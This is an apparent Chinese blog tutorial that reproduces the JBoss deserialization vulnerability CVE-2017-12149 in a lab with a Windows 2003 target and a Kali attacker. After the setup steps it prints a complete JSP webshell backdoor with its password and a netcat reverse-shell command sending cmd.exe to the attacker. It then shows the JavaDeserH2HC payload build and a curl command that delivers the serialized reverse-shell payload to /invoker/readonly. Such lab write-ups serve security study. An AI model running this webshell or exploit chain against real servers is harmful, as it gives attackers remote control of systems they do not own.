Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

目录

环境

序列化

什么是反序列化漏洞:

Jboss 反序列化(CVE-2017-12149)的原理

JBoss 反序列漏洞利用

实验设备

影响版本

文件及源代码

搭建环境(Win2003)

安装 java(JDK-6u45-windows-i586.exe)

配置java环境变量

安装jdk配置环境变量

新建环境变量

新建变量JAVA_HOME

新建CLASSPATH 变量

配置path

测试是否成功安装

安装jboss

配置 jboss 环境变量

通过jboss部署网址

上传木马

连接蚁剑

漏洞检测

反弹shell

蚁剑反弹

开启监听端口

nc反弹shell

javaDeserH2HC反弹

下载javaDeserH2HC

编译生成数据流

kali开启监听端口

发送数据包

反弹shell成功


环境

搭建jboss:win2003:(192.168.2.148) 攻击机:kali(192.168.2.129)

序列化

序列化就是将对象 object、字符串 string、数组 array、变量,转换成具有⼀定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式,目的就是为了方便传输。

什么是反序列化漏洞:

简单来说,反序列化就是序列化的逆过程。程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入⼀些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较大。 2017年9月14日,国家信息安全漏洞共享平台(CNVD)收录了 JBOSS Application Server 反序列化命令执行漏洞(CNVD-2017-33724,对应 CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

Jboss 反序列化(CVE-2017-12149)的原理

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化作进行任何检测,导致攻击者可以执行任意代码。

JBoss 反序列漏洞利用

实验设备

win2003

影响版本

JBoss 5.x / 6.x

文件及源代码

需要的在私信或者后台免费领取

搭建环境(Win2003)

安装 java(JDK-6u45-windows-i586.exe)

配置java环境变量

安装jdk配置环境变量

新建环境变量
新建变量JAVA_HOME
变量值:C:\Program Files\Java\jdk1.8.0_162(JDK的安装路径,这里以你自己的安装路径为准)

新建CLASSPATH 变量
变量值为:.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
(注意前面是有一个点的),配置好之后如下图,这里是可以复制粘贴的

配置path

找到path,双击或者点编辑,

;%JAVA_HOME%\bin

点击确定即可

测试是否成功安装
java -version
javac
java

安装jboss

安装 jboss,把 jboss 文件夹放到 c 盘中,为了看着方便,我们将文件夹改名为 jboss

配置 jboss 环境变量

新建系统变量:
变量名:JBOSS_HOME  变量值:C:\jboss
变量名:SystemRoot  变量值:C:\windows
新建用户变量:
变量名为:Path      变量值:%SystemRoot%/system32;%SystemRoot%;%JBOSS_HOME%\bin

环境变量配置完毕。


接下来做一些设置,找到 server.xml 文件,修改 ip 地址和端口,修改之前先备份一下 通过记事本打开这个 server.xml 文件,找到 ip 地址配置。将这个${jboss.bind.address}改为 0.0.0.0 即可。如果想改端口的话,将 8080 改为 80 即可(不建议)。保存之后关闭,然后重新运行 jboss 。

双击run.bat,解压的可能比较慢

然后通过问一下 jboss 网址,http://192.168.2.148:8080 ,注意,一定要输入 http://才行,jboss 默认端口时 8080,(如IIS 中有网站端口冲突,记得修改)我们在浏览器输入如下网址,查看效果。(注意先不要启动jspstudy2016,否则会打不开这个 Jboss 控制台!!防止端口冲突)

输入admin,admin登录

通过jboss部署网址

在控制台中找到web application(war)s --add a new resource--选择war文件上传--访问http://192.168.2.148:8080/test3693

和 struct2 差不多,也是部署 war 包项目,放到当前文档所在目录中,大家可以直接选 test3693.war 使用

我们就可以直接访问了,重新打开 IE 浏览器中输入如下网址看效果: http://192.168.2.148:8080/test3693/

上传木马

在这里可以直接上传木马 test.jsp.密码:passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

上传成功

连接蚁剑

连接成功

漏洞检测

(1)访问链接(自己的IP)http://192.168.2.148:8080/invoker/readonly

返回 500,一般就可以认为反序列漏洞存在检测发现漏洞

执行

命令执行成功!!

反弹shell

蚁剑反弹

开启监听端口

前面已经上传了jsp木马,蚁剑成功连接上了,先在kali开启监听窗口

nc -lvvp 8888

nc反弹shell

我们先把nc上传到win2003(受害机),下载地址:https://eternallybored.org/misc/netcat/

nc.exe 192.168.2.129 8888 -e cmd.exe

kali返回成功

javaDeserH2HC反弹

为了保证连接的稳定,就可以用我们的测试利用工具进行反弹:JavaDeserH2HC(需要安装配置jdk环境)

下载javaDeserH2HC

下载地址:
https://github.com/joaomatosf/JavaDeserH2HC

解压到KALI后执行如下反弹shell命令。

编译生成数据流

用指定的类路径(当前目录和 commons-collections-3.2.1.jar)编译 ReverseShellCommonsCollectionsHashMap.java 文件,生成对应的 .class 文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 

启动 ReverseShellCommonsCollectionsHashMap 程序,运行时能访问当前目录和 commons-collections-3.2.1.jar 中的类,192.168.2.129:4445(是kali监听的ip地址)的反弹shell用来做远程连接或其他网络操作。

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.129:4445

执行完成会在当前目录下生成一个.ser序列化数据流

kali开启监听端口

nc -lvvp 4445

发送数据包

curl http://192.168.2.148:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

反弹shell成功

这里有一个注意的点就是jdk的版本要低于1.8,最好是1.8

感兴趣的可以关注微信 公众号【Cauchy网安】,一起一步步慢慢来,该到达的高度终将会抵达的,加油,如有雷同纯属巧合

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值